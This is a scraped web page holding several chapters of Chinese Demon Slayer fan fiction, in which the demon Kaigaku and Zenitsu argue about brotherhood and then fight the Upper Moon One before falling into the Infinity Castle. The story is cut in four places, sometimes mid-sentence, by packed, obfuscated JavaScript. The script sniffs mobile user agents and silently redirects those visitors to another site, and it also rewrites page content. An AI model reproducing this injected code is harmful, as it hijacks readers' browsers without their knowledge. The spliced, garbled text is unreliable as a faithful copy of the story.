她惊讶地睁大眼睛:“你还真能给出这种,”她上下打量狯岳,“这种……的回答啊。” “只是我现在不饿,”狯岳把脑袋转开,“所以的确不感到悲伤而已。” “不能在阳光下行走,似乎没有给你造成太大的困扰。” “还是人的时候,为了杀鬼,本来也经常在夜间行动。” “对你来说,做人和做鬼,好像区别不大呢。” “……嗯。” “如果有机会变回人,你会怎么选?” 当然是变回人。 但这话卡在嗓子眼,让他没法这么爽快地说出口。 他应该说的。他现在坐在鬼杀队的柱面前,必须要附和鬼杀队的价值观才行。选择当鬼是会被唾弃的。选择当人才是会被赞扬的。 可是他真的犹豫了。 有一说一,变成鬼之后,他变强了很多。力气比以前更大,不被日轮刀砍掉脖子就不会死。而且他还不用吃人,只有害怕阳光这一个弱点而已—— 但是一阵冷风不知从何处腾起,吹进了他的骨头缝中。 ——不对。 他回想起上弦一那压迫感十足的高大身影,打了个寒战,冷汗涔涔。 当他跪在上弦一的面前,满脑子回荡的是不想死,仅此而已。 他不想死,为的是活下去,不是为了变成鬼。 “……看来,”蝴蝶忍再次伸出手,拍了拍他的肩膀,“你也不是真的觉得,当人和当鬼,没什么区别。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128760|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >人和鬼的区别是很大的。 生理上的差别会加大心理上的差别。因为变成了鬼,狯岳已经很久没看到太阳了,整个世界暗沉一片,于是连心也跟着暗沉下来。 站在阴影中,看着阳光下的世界,生出渴望生出不甘。总有一天,他会被这样的情绪扭曲,又或者—— 其实他早就已经扭曲过了。 ……不过。 很多时候,人和人的区别,也是很大的。 比如: “我也想和女孩子整天待在一起!”我妻善逸趁着休息时间,怨念满满地从岩柱府杀了过来,“大哥你怎么可以偷跑!” 狯岳:^=_=^。 狯岳:“我又不是你!” 我妻善逸不管,一边叫嚣着“真是也太令人羡慕了”,一边扒着狯岳表示“大哥你不可以抛下我一个人”,然后因为过量的噪音被神崎葵怒骂着赶出了蝶屋。 扭头看到狯岳的神崎葵:呵呵。 狯岳:^=_=^。 被迁怒了呢。 “非常抱歉。”他只能从牙缝里吐出这些话,“善逸……给你添麻烦了。” 他感到难以忍受的难堪,就是因为我妻善逸总这样毫无分寸,所以他无论如何不想承认这种丢人的家伙居然和他是同门,还特么是唯一的、和他互补的同门。 “不用道歉,你是你,他是他。”神崎葵很快把心态摆正,“你和我妻队士真是两个极端。他是只要是女孩子就会献殷勤,你是对女孩子一点兴趣都没有呢。” 狯岳:“……” 狯岳:“…………” “应该,还是有兴趣的吧?”他觉得神崎葵说话怪怪的,本能地表示反对,“我和大部分人应该一样吧?” “才不一样,你看女孩子的眼神,唔,和尹之助是一个等级的。” “……”那个野猪脑袋?和野猪脑袋一个等级是什么意思? 神崎葵:没有性别观念的意思。 “比如说,狯岳先生,”她深呼吸,调整表情,把习惯皱起的眉头放平,指着电动洗衣机里那坨缠在一起的布料,“能帮我把这些拿出来晒吗?” 狯岳疑惑地问:“这不是你的日常工作吗?你好歹也是呼吸法剑士,怎么今天忽然要人帮忙?” 神崎葵额角迸出青筋:一般人根本不会问,白痴! 但她没有说出口,只冷笑一声:“是因为你,这坨玩意才会缠在一起,增加我的工作量!如果不是为让你锻炼控制力,忍大人才不会买这种大功率电器!” 狯岳被说服了一半:“功率不大啊。” 神崎葵:“滚。” “……不是说要我帮忙晒吗?” “能晒太阳吗你?!” 狯岳仿佛这才意识到这一点,愣了一下,突兀地转过身去。 “……啊,”神崎葵以为戳到了狯岳的痛处,“狯岳先生,不好意思——” 话音未落,狯岳向着一处阴影冲了过去。 阴影中有奇妙的生物在半空中飘荡,颜色漆黑,带着奇怪的触须,中部圆圆的,半开半合,这是…… 眼,珠? 下一刻,狯岳拔刀出鞘,将没有完全睁开的眼珠一刀两断。 “是血鬼术!”他盯着缓慢化灰的眼珠,咬紧牙关,“快去通知蝴蝶小姐,这里被入侵了!” 23.第二十三章 安全起见,整个蝶屋开始转移。 因为事务繁忙,狯岳不跟着转移,他被还给了我妻善逸。 ……连带一堆不方便带走的大型电器设备。 “这啥玩意?”来接狯岳的我妻善逸摆弄着这些奇怪的装置,“有什么用?” 下一刻,他面前的电风扇转了起来,叶片险些击中他的手指。 我妻善逸吓得撒开手,捧着脸惊声尖叫:“动起来了,为什么?!” 手握插头供电的狯岳:“啧。” 我妻善逸:^=_=^。 我妻善逸:“血鬼术的效果?!大哥,你故意的吧?!” “废话。”狯岳翻了个白眼,撒开手。“走了。” “走去哪里?” “岩柱那边的训练,你完成了吗?” “还、还没有。” “那还有什么好说的!赶快回去训练。” 话音落下,我妻善逸忽然扯出一个黏糊糊的微笑,看得狯岳一阵恶寒。 “笑什么笑,”他忍不住磨牙,“恶心死了!” “别这么说嘛!”我妻善逸不带收敛的,“虽然没有完成全部训练,但是,大哥,我推动岩石了哦~” 狯岳盯着他看了一会儿,扭头就走。 我妻善逸追了上去:“所以,大哥,我还是有点厉害的吧?” “哈啊?你还差的远。” “……你就不能称赞我一下吗?!” “推动岩石而已,有什么好称赞的。” “怎么这样!可我已经拼尽全力了!” “关我屁事。” “你是大哥啊!” “我只是同意你叫我大哥,没有同意把你当小弟。” “……” “……” “狡猾!耍赖!” “是你要求太多了,笨蛋!” 我妻善逸就开始不停在边上念叨“大哥你明明知道我是什么意思”、“小气”、“下次我要说得更严谨一点”这种没用的废话。 狯岳根本不想管我妻善逸的花花肠子,他现在只担心一件事: 找到蝶屋的那只鬼,会不会就在附近? 如果就在附近,又是什么级别的鬼? 在清除那只眼珠的时候,他隐约窥见上面有字,只是没看清是什么字。也就是说,那只鬼,是十二鬼月的一员。 如果是下弦还好,但如果是上弦…… “大哥,你在担心什么?”我妻善逸终于问到了,“一副心事重重的样子。” “……倒不如说,你怎么还能摆出这副无忧无虑的样子?”狯岳没好气地回答:“蝶屋被鬼找上了门吔!” “呃,好像很严重?” “就是很严重!你不是稍微有点风吹草动都吓得要死吗,怎么现在反而一点紧张感都没有?” “因为……因为,大哥你在啊。” 狯岳脚步一顿,回过头:“哈啊?!” 就见我妻善逸认真地说:“因为大哥你在这里,所以我……我紧张不起来。” 他顿了顿:“我总觉得,只要有你在,什么都没关系。” “……说什么傻话。”狯岳挑起眉毛,“你是想说,我很强,所以你很放心吗?搞什么,强的又不是你自己,遇到危险的时候,我才不会腾出手照顾你,所以——” “咦,其实也没那么强吧,”我妻善逸脱口而出,打断他的话:“不然大哥就不会变成鬼了。” 狯岳:…… 狯岳:………… 狯岳:我、妻、善、逸! “你这家伙,明明只是个运气好的废物而已!”他勃然大怒,“居然敢嘲笑我!” “我没有!”我妻善逸的声音盖过了他的声音,“我只是……我只是觉得,和你在一起的话,强也好弱也好,都没关系!只要能和你在一起,就算遇到鬼也——” “什么没关系!遇到上弦的话,我们可能都会死!” “可是、可是,死也没关系!” 话音落下,狯岳震惊地睁大眼睛。 这家伙在说什么玩意? 明明天天嚷嚷着不想死,胆子小得像针尖,居然说死也没关系?! ‘虽然、虽然我也不想死,但如果碰到上弦的话,那也没办法。’我妻善逸低下头,“到时候……”他那大嗓门难得放低,“和大哥一起死,也是没办法的事情。” “……” “……” 狯岳瞳孔地震。 接着,他伸出手,挡在唇边: “……好恶心。” 我妻善逸:^=_=^#。 “唉?!不应该觉得感动吗!”他张开双手比比划划,“这可是生死相随的情谊!” “感动你个头!你脑袋坏掉了吗?!”狯岳难以置信。“说得像殉情一样,你把我当女人骗吗?!” “首先我没骗过女人,其实我也没骗过你。真受不了!为什么你从来不相信我说的话?!” “你的话本来就不可信,更何况讲成这样!我的死活不关你的事!也不要把你的死活绑在我身上!” “怎么可能不关我的事啊!大哥你其实明白的吧,你明白风柱大叔虽然凶的要命,却依然在乎玄弥,所以即使你对我很凶,我也——” “别傻了!”狯岳打断他的话,“你也明白的吧?不死川他们是亲生的兄弟。血缘是斩不断的,而我们……我们不过是凑合而已!” 这话实在有点过分,连我妻善逸也不想再说什么了。 他用真诚的话语撑起自己面对狯岳的勇气,但换来的只是对方的不屑一顾。 这太羞辱人了。 于是他像以往无数次那样难过地低下头,不和狯岳对视,默默生气。 如果这时候有谁能帮帮他就好了,炭治郎也好,尹之助也好…… “我知道,你想满足老师的心愿。”或许是察觉到我妻善逸是真的在伤心难过,狯岳的语气缓和了一点点。“虽然老师希望我们能和睦相处,但我不会因为这种理由接受你,你也没必要为了这种事情牺牲你自己。如果有的选,我不会选你这样的师弟,你也不会选择我这样的师兄……” “不是这样的。” “……什么?” “不是这样的,血缘才是没得选吧?”我妻善逸重新抬起头,眼睛里盈满泪水,“我当然有的选——我都有了炭治郎和尹之助这样的朋友!可是,可是……我之所以站在这里,是因为,大哥就是我的选择啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137477|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话音落下,狯岳竟下意识后退了一步。 他露出了惊疑的目光,一些混乱到连自己都搞不懂的情绪在身体中翻滚,被我妻善逸零零碎碎听在耳朵里。 索性我妻善逸也听不明白,他上前几步,抓住了他的肩膀: “爷爷选择了我,我也选择了爷爷。我当然有考虑到爷爷的想法,但是大哥,你是爷爷的选择,也是我的选择!” “……你和老师相亲相爱去就是了,别把我扯进来!” “又来了!为什么,大哥总是在发出不安的声音?我想听到大哥心里传来幸福的声音,但一直以来只听到了寂寞和痛苦。所以,所以,无论如何都没法放着不管。” “……你是傻瓜吗?” “……” “……” “怎么还在说这种话!” “你最好走开,赶紧走。”狯岳面无表情,“不管你听到了什么,你除了……无用的关心之外,也没有死缠着我不放的理由。那些毫无裨益的空口白话,对我来说,毫无意义。” ——你还好吗?觉得寂寞吗?感到痛苦吗? 这样的关心,说过后之有什么意义? 对他来说,都是种居高临下的折磨。 “可是,狯岳的声音只有我能听到,只有我,所以——” “我不想被人听到,更别说还是被你这个废物听到。我才没有你以为的那样软弱。不要小看我,我不需要你的同情!” 不要告诉他。不要提醒他。不要揭穿他。 不要装成很了解他的样子,他也以为他是谁?! “……我没有觉得你软弱。而且——” “你的感觉不关我的事。” “……” “……” “反正,我才不会死。”狯岳冷哼一声,把话题扯回来。“真遇到了上弦,我就把你扔出去当诱饵。要死你自己一个人去死。” “说谎。” “……你听得出来吧?我刚才是真心的。” “梨花说过,人的真心瞬息万变。”我妻善逸执拗地盯着他,“你刚才的声音,和之前听说我和上级队士打架的时候一样,和更早我掉进陷阱爬不出来的时候一样。那些时候你都没有丢下我不管,所以……” 但还不等他把话说完,就听到了一个不协调的声音,让他本能地住了口。 空气,变了。 下一刻,狯岳瞳孔紧缩,双腿一蹬,朝我妻善逸扑了过去,两个人狠狠摔在了远处。 而我妻善逸原本站着的土地,留下了一个巨大的豁口。 “既然……你还没死。” 一个冷冰冰的声音在背后响起。 “为何,还与鬼杀队的人纠缠不休?” 狯岳浑身颤抖起来,不敢回头。 但我妻善逸不用回头,他只要直视前方,就能看见。 看见一个比一般人高大得多的身影,修长有力的手握着一把奇异的太刀。月光下泛着红光的长发被高高束在脑后,露出一张可怖的、嵌着六只眼睛的脸。 毫无疑问。 是鬼。 眼珠里刻字的鬼。 “上弦……一。” 我妻善逸哆哆嗦嗦地,认出了这只鬼的身份。 24.第二十四章 “回答我。” 六只眼睛的恶鬼冷冷道。 “……因为。” 狯岳依旧背对着他,从喉咙里吐出一个音节。 然后就无法继续下去了。 他发现自己变笨了,居然想不出为自己开脱的话。明明以前都能做到的,为了活下去,吞咽泥水也好,偷钱也好,出卖恩人也好,下跪求饶也好,他都能做到。 只要跪下去,摆出可耻的姿态,对面的强敌就会像看见了什么滑稽剧一样,一边用鄙夷的眼光看着他,一边暂时饶过他——或许是为了看他接下来能不能变得更加滑稽吧。 被赶出寺庙时遇见的那只鬼是这样。 眼前这只名为黑死牟的恶鬼也是这样。 只要再一次跪下,再一次求饶就行了。这位上弦一,黑死牟大人,第一次见面的时候曾经说过,他很少向鬼舞辻无惨举荐新人,他应该还有一线生机。 但是,但是。 和蝴蝶忍的交谈闪过心头。 ——他也不是真的觉得,当人和当鬼,没什么区别。 啊啊,运气真糟。 虽然变成了鬼,但被狐狸捡走,莫名其妙不用吃人就能活下去;以此为契机,和悲鸣屿行冥把话说开,虽然身份还是鬼,却被众人以人的身份看待。 他本来是个人。 他本来可以继续做个人。 狯岳站了起来,转过身,拔刀出鞘,直视黑死牟的六只眼睛。 “是因为,你身后的那个人吗?”黑死牟不着急,慢吞吞地问。“他对你很重要?” “那废物才不重要。”狯岳深呼吸,雷鸣在心肺之间酝酿。“只不过……如果你能越过我把他给宰了,岂不是显得我很废?!” 还不等我妻善逸发出惊呼,下一刻,狯岳的刀和黑死牟的刀碰撞在了一起,掀起狂风响起雷暴。 ——怎么办,怎么办?! 我妻善逸擦干净眼泪,颤抖着握住腰间的日轮刀。 可怕。恐怖。这是生物层面的压制,全身上下的细胞都在尖叫着告诉他,自己绝对不是这只恶鬼的对手。 狯岳也不是,不然他怎么会选择变成鬼? ——但既然现在的狯岳有拔刀的勇气,他也不能拖他后腿! 他和上弦战斗过,他通过了柱训练,他已经变强了。没错,他居然能看清狯岳和黑死牟的动作,猜到他们的进攻意图,这在半年前根本无法想象。 他可以的,他一定可以帮到狯岳,和他并肩作战…… 机会总会降临。 我妻善逸深深呼出一口气。 他半阖双眼,仔细倾听,听到狯岳的急躁和黑死牟的压迫,听到了战斗节奏的断裂带,并怀着孤注一掷的信念插了进去—— 霹雳一闪的速度像他预计地那样快,出其不意地伤到了黑死牟的侧脸。 但也仅仅是侧脸。 如果黑死牟不是鬼、而是人,这样的伤也不会对他造成任何妨碍。 “蠢货!” 狯岳拉过他的胳膊,介入其中,替他挡下黑死牟凌厉的刀锋。刀光皎洁如月华,带起的却是一片洋洋洒洒的血色。 “你是逃跑看错了方向吗?!”我妻善逸看见狯岳裂开的胸腹,听见他怒极的痛骂,“非要和我一起送死是吧?!” “大哥会死的话,我也一起死掉好了!”我妻善逸的眼眶又开始发热,但他把泪意憋了回去,“刚才不都说好了吗!” “谁踏马跟你说好了!” 狯岳气得要死,拽着我妻善逸和黑死牟拉开距离。多亏了与不死川实弥和悲鸣屿行冥的训练,这种程度的伤对他来说已经算不上重,伤口断面飞快长出血肉,兜住骨头兜住内脏,把本该裂成两半的身体弥合在一起。 “我们都死掉还好说,你死掉我活着的话,该怎么向其他人交待?!”他恨铁不成钢,“让老师再切腹一次吗!还白白搭上悲鸣屿!” 我妻善逸想说不会的,啾太郎不是鎹鸦,没被黑死牟打死,已经飞去找柱求援了,其他人一定不会认为他死掉是狯岳的错……但出乎意料的是,黑死牟竟然没有乘胜追击,而是开口说话: “你们……是兄弟?” 狯岳说“不是”,我妻善逸说“是”。 黑死牟:“……” “是不是和你有什么关系?”狯岳顾不上骂我妻善逸,怒瞪向黑死牟。“是怎样,不是又怎样?” “确实。”黑死牟同意。“只是……可以让他和你一样,也变成鬼。” 狯岳和我妻善逸同时睁大了眼睛:“什么?!” “这般,可以打消你的顾虑的话。”黑死牟顿了顿,“如何?” 不如何! 两个人的拒绝声同时响起: “凭什么我都变成鬼了,这小子还能像个挂件一样绑上来?!”这是狯岳。 “我才不要,连我也变成鬼的话,爷爷就太可怜了!”这是我妻善逸。 下一刻,两个人又同时冲对方去了: “你的重点居然是不想我和你一样吗?”我妻善逸大怒,“你变鬼就算了,凭什么我变鬼就是当你挂件啊?!” “那你怎么不赶紧跑,跑回桃山去当老师的乖宝宝!反正老师也偏心你,没了我你就是他唯一的继承人了!” “早说过了,我才不想当什么继承人,而且老师哪里偏心了!” “被偏心的人当然察觉不到!我拼命努力才能获得的东西,你随便哭一哭就有了,居然还敢在我面前摆出一副‘其实我什么都不想要’的姿态,真恶心!” ——啊,这。 我妻善逸听得一愣一愣的。 他还真没从这层面考虑过,他想反驳狯岳说得不是真的,爷爷只是对他们一视同仁而已…… 但对自认比我妻善逸更努力、更有才能的狯岳来说,绝对公平就是不公平。 “你在桃山上试过多少次逃跑,要我数给你听吗?每次、每次都要浪费老师的时间去抓你,想训练就好好训练,想逃跑就认真逃跑啊!不管是训练还是逃跑,都搞成那种半吊子的样子算什么?撒娇?想试探老师会为你做到什么地步吗?” “……我,我,我,我没有!” “你有。老师是培育师,你非要叫他爷爷,和他装成一对好爷孙。巧了不是,他还真吃这套——所以他才整天追在你屁股后面逼你上进,无论如何都不放弃你,还想要废物的你和我一起继承雷之呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138270|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”狯岳冷笑一声。“不过,这是你们之间的拉扯,我就不奉陪了。我在桃山上当背景板已经当够了。过去的事情就算了,从现在开始,再见,永别,可以吗?!” 我妻善逸呆住了。 他原本正在借吵架寻找黑死牟的破绽,他相信狯岳也在做同样的事,甚至相信黑死牟也猜到了他们想做什么,只不过觉得他们掀不起什么风浪,就没有加以干涉。 但狯岳把话说到这份上,他觉得自己实在没办法配合下去了。 “可是,可是,”我妻善逸喃喃道,“大哥,对我和爷爷来说,你是特别的人啊……” 特别,可能有一点吧。 毕竟适合雷之呼吸的人太少,在我妻善逸出现之前,桃山上只有狯岳一个弟子。 桑岛慈悟郎并不是个温情的培育师,相反,他个性生冷,顽固不化,对弟子的要求非常严格。 狯岳把他当成自己尊敬的人,当成老师当成领导,努力训练,咬牙坚持,想要获得他的认可。 可是,可是。 他居然连一之型都学不会。 而我妻善逸的到来,进一步让他发现…… 原来,老师也不过是个,会被轻飘飘的言语讨好的,会偏心会哭的孩子的,会寂寞会动摇的,老头子。 刚意识到这一点的时候,嫉妒、愤怒的情绪涌上来,差点把他撕成两半。 “我当然是特别的。” 狯岳已经放弃了,已经可以心平气和地回顾这件事了。 看看我妻善逸就知道了,努力不一定有回报,或者说努力的方向错了,就得不到自己想要的回报。 他已经被过去的经历塑造成现在这个样子,再难改变,绝不可能像我妻善逸这样哭哭啼啼、扭扭捏捏。 “我和你……和你们,都不一样,我有自己的路要走。” 即使…… 那是一条死路。 真是奇妙,原本是无论如何都不想死,才选择变成了鬼。 既然迷失了出发的目标,接下来走到哪里都无所谓了。妥协,然后适应,他就是靠这种方法才走到现在,才能维持住那岌岌可危的自尊。 黑死牟比我妻善逸更快理解狯岳在说什么,他歪了歪头: “你,讨厌他。” “……啊,嗯。” “那你怎么……还不,斩了他?” 狯岳:^=_=^。 狯岳:你可是上弦一,怎么跟梨花那狐狸一个德行啊?! “关你什么事?!”认为自己一定会被黑死牟干掉的狯岳恼羞成怒,“上次虽然求过你,但那是上次!这次要杀要剐赶紧!问问问,废话这么多!” 我妻善逸欲言又止,止言又欲,最终还是抓着脑袋喊:“不是吧大哥,我们应该要尽量拖延时间才对吧?!” 狯岳:“……” 狯岳:“…………” 继续恼羞成怒:“都让你赶紧跑了你还不跑!趁我还能打,现在就给我麻溜地滚!” 这种舍己为人的场景,本该雄伟悲壮才对。 为什么轮到他舍生取义,效果却像在演狂言一样?! 一定是善逸,绝对是善逸,都是这家伙的错! 25.第二十五章 直到此时,黑死牟才重新摆出了起手式,把刀尖再次对准了他们。 狯岳“啧”了一声,向前一步,把我妻善逸挡在身后。 和应激的狯岳不同,我妻善逸此时意识到一件事: 黑死牟,对狯岳的容忍度,好像,还挺高? “原本……还想问你,为何能脱离无惨大人的控制,”黑死牟没有第一时间挥剑,“但现在,已无必要。” 他的视线一直落在狯岳身上,话也只对狯岳说,好像我妻善逸不存在一样。 “可以……再给你一次机会,”月光照亮了他邪异的脸,“到我身边来,或者,我亲自……把你抓过来。” 我妻善逸:^=_=^。 我妻善逸:果然容忍度很高啊! “变态!跟踪狂!”他也举起刀,“不要盯着大哥不放啊!虽然大哥又能干又漂亮,但他是我和爷爷最重要的人,和你没关系!” 狯岳差点转过头去看他:“哈啊???” 这是在说什么玩意啊! 黑死牟没有回应,只漫不经心地挥刀,细碎的月牙大部分咬向狯岳,我妻善逸不过是被顺带波及而已,却依然应付地手忙脚乱。 他的心此刻也是一团乱麻,仿佛西洋传来的气泡水,细小的泡泡一颗颗在脑海炸裂开来: 大哥刚刚说的话是真心的吗?还是为了赶他走而随便乱说?他真的觉得爷爷偏心?怎么会?大哥虽然嘴巴毒,行动上却一直有分寸,他一定是故意这样说的吧,一定是为了打消黑死牟的警惕心……见鬼,黑死牟这混蛋,还想拐骗大哥跟他走吗?杀气都没飙,这分明这是在打指导战吧?! 如果狯岳是人,眼前这种胳膊腿各种掉甚至脑袋飞一半的场面,实在说不上温柔。 但狯岳是鬼,黑死牟这种程度的折腾,就和对练差不多了。 当然,狯岳本人直面狂风暴雨,精神过度紧张,是无暇去思考这种问题的。 他只觉得黑死牟的刀太重,太难接,太考验他的应变能力了,稍有不慎就会失去行动能力,沦为任人宰割的肉块。 而黑死牟却游刃有余,还有空闲聊: “这么快……就锻炼出了血鬼术,”他称赞道,“你很好。” ——好个鬼! 狯岳一脸憋屈,看着被黑死牟轻描淡写劈开的黑色雷霆失去控制,遁入虚空,像微风一样消散殆尽。 打不中就没有意义,他现在电量不够多,要用在关键时刻,不能随意浪费。 “上次那样……就很乖巧。”六只眼睛同时转动,盯了过来,“向强者屈服,以图来日,并不可耻。” 狯岳:??? 狯岳:神特么乖巧! 他都已经耻辱地跪过了,就算有来日,也是洗刷耻辱才对! “鬼杀队……不会理解你。” ……这倒是真的。 忽略掉自说自话的老师和善逸,那帮背后说人闲话的同期也各个讨嫌,其他人就更别说了。 尤其在他升上甲级之后,因为用不出一之型、忙于晋升而不是搞人际关系,不用想都知道,那帮杂碎私底下会怎么议论他。 不过,他本来也不打算和那些人打好关系,只要他成为柱,怎样都无所谓…… 然后就遇到了无论如何都无法战胜的鬼。 “难不成,鬼还能更理解我?!”提到这个,狯岳实在沉不住气,“如果不是遇到你,我才不会选择变成鬼!” 他明明都快当上鸣柱了好不好! 黑死牟却轻“嗤”一声:“可笑。” “什么?!” “那……不是你的选择。” 黑死牟向前迈出一步,握刀的手臂顺着腰胯扭转的方向校正,手腕一抖,弯月般的刀光在半空中一分为三。 狯岳躲过了第一道和第二道,但还是无可奈何地被第三道刀光,直接,腰斩。 “那……是我的选择。” 即使是鬼,腰斩也是很难迅速痊愈的伤势。狯岳口鼻出血,忍着剧痛、伸手去抓自己的下半身,试图把自己拼起来。 但黑死牟也伸出手,抓向他的脑袋—— “雷之呼吸,一之型,霹雳一闪,神速!” 我妻善逸突入战场,抢过半截狯岳,向远处遁逃。 如果只有他一个人还好说,但带着还在滴血的狯岳,速度实在快不起来。 “鬼……能给你时间。”黑死牟不着急,不紧不慢地吊在他们身后。“时间,能给你力量。力量,能给你选择权。” 人类是很脆弱的。 挨饿会死。受冻会死。生病会死。受伤会死。 死了就什么都没有了,而人本能就是要活着的。 只有活下去,才可能遇到高兴的事。所以绝对不能死。所以他在第一次见到黑死牟的时候就跪了一次,而今天或许会跪第二次。 ……大概。 “大哥,不要被他骗了!”我妻善逸一边跑一边劝,“当鬼才不是什么好事!饿了会失去理智还见不了太阳!缺点一大把!” “废话,不用你来说!”狯岳本能地骂回去,“你怎么跑这么慢?!” “快不起来嘛反正都这样了大哥你努力一下赶紧恢复啊啊啊啊啊——” 狯岳……狯岳只能闭上嘴干瞪眼,身体开始变小;变小之后,再试着长出下半身。好不容易恢复身形后,呵呵,黑死牟就已经追上来了呢。 而我妻善逸,又无论如何不肯丢下他一个人跑。 这废物,是真的做好了死的觉悟。 为什么……为什么,要做到这一步? 狯岳自觉对我妻善逸不算好,经常无视这个废柴师弟,偶尔几次照应也是看在老师的份上。 为什么这家伙对他会这么执着? 莫名其妙追着他叫大哥就算了,连这种生死攸关的时候都不放弃,是老师说过什么吗? 那这家伙未免也听话过了头,果然傻子一个。 我妻善逸:那当然是兄弟爱!是人性的闪光! “大哥,”他的声音不再颤抖,“你早就希望我走开,而我这么没用,也找不到理由待在你身边。可是,可是,柱还没有来,所以,所以,我也不会走。” “……柱没来你都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146178|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不走,等柱来了,你更不可能会走吧!”狯岳翻了个白眼,“别废话了。如果你敢掉链子,就算你死了我也不会放过你!” 至于他该怎么不放过死掉的善逸别管。 连善逸这个傻子都准备去死了,至少在他死之前,他也不能跪下去——要他在善逸这种人面前丢脸,他情愿去死。 “雷之呼吸,三之型,聚蚊成雷!” 罡风裹挟着雷电斩开空气斩开树木斩向黑死牟,将月之呼吸水银泻地般的斩击全部清空。 “雷之呼吸,六之型,电轰雷轰!” 狯岳又一次用出了血鬼术,还利用了高爆发的电轰雷轰,剑锋像电花一样炸开,血鬼术产生的电流随之无规律的溅射。 连黑死牟的衣角也不可避免地沾染上黑色的雷霆,顺着布料纹路不断向上蔓延。 接着是,“雷之呼吸,一之型,霹雳一闪,六连!” 我妻善逸,这个一直不被黑死牟放在眼里的家伙,居然从那片电场中窜了出来! 是他钻了狯岳血鬼术的缝隙,还是狯岳的血鬼术特意绕开了他? 但从我妻善逸身上跳动的电弧来看…… 居然是,硬抗?! “有点意思。” 黑死牟说着,视线第一次落在了我妻善逸身上。 我妻善逸觉得没意思——多亏自己曾经被雷劈过,对雷电的抗性比一般人高得多,才能忍受狯岳的血鬼术在身上短暂停留。 虽然经过狯岳的有意控制,这些雷电的杀伤力很小,但还是很痛的好么! 六连落空之后,又轮到狯岳的回合。 “雷之呼吸,二之型,稻魂!” 他尝试使用稻魂试图封锁黑死牟的攻击,给我妻善逸创造攻击机会,但果然封不住,只有在黑死牟反击的时候,利用热界雷的冲力反推自己避开月之呼吸,免得再次被砍成两段。 “你……不用一之型,”黑死牟看向狯岳,接着,又看向我妻善逸,“你……只用一之型。”以及那份对雷电的抗性,“也可以,再给你一次机会。” 狯岳:^=_=^#。 虽然变鬼不是什么好事,但果然还是火大——为什么连这种坏事,这混蛋都能抢他风头啊?! 我妻善逸则想都没想地拒绝了:“不可能!” 于是黑死牟的回应,是更加猛烈地攻击。 铺天盖地的刀光犹如天上洒下的月光,虚虚实实毫无缝隙无从逃避,只能想尽办法接下来,光是防御都拼尽了全力,根本没有反击的余地。 为什么,为什么…… 柱为什么,还没有来?! “铮——” 琵琶的声音,在耳边响起。 下一刻,黑死牟从眼前消失;再一声,狯岳和我妻善逸脚下一空。 低头看去,地面开出方形的格子门,门后本该是山体的位置,变成了层层叠叠方向不一的建筑,不断向地心深处延伸。 星星点点的灯火把黑暗照亮,却照不见这座地下城的尽头,无可名状的未知令人胆寒。 猝不及防间,两人毫无反抗地掉了下去。 26.第二十六章 这下,他们终于知道,柱为什么没有来。 无数木门开合,柱、还有大量鬼杀队剑士,正和他们一起落入无限城。 “大哥!” 我妻善逸拼命向狯岳伸出手,但是空中无法借力,再怎么挣扎,也只能看着彼此被突然介入的楼阁分隔开来。 ——原来如此。 狯岳瞥见藏在门扉后的鬼,调整姿势,稳稳落在一块有着木造围栏的平台。 ——整座城,都是某位十二鬼月的杰作,受到血鬼术的操纵。 一旁窥伺的杂碎们鬼鬼祟祟地从各个方向冒出来,分不清强弱辩不了形势,猛地—— 绕过身为鬼的狯岳,扑向附近摔得七荤八素的活人。 狯岳:^=_=^。 “雷之呼吸,五之型,热界雷!” 一击清场。 得救的鬼杀队队士看着没有拟态、一副鬼样的狯岳,吞了口唾沫:“谢、谢谢。” 不远处传来楼阁倒塌的巨响,只见一道黄色的闪电冲破断壁残垣,向他们这个方向冲来。 是我妻善逸。 当他看到狯岳,明显松了一口气,正打算说些什么话的时候,忽然,琵琶声响,狯岳脚下又被开了一扇门。 又、被、分、开、了! “太过分了!太过分了!”我妻善逸简直抓狂,“我废了好大力气才找过来!” 鬼杀队的同事:不,你看起来一副很轻松的样子。 但还是出声安慰:“别着急,你们……都很强,一定能再相遇。” 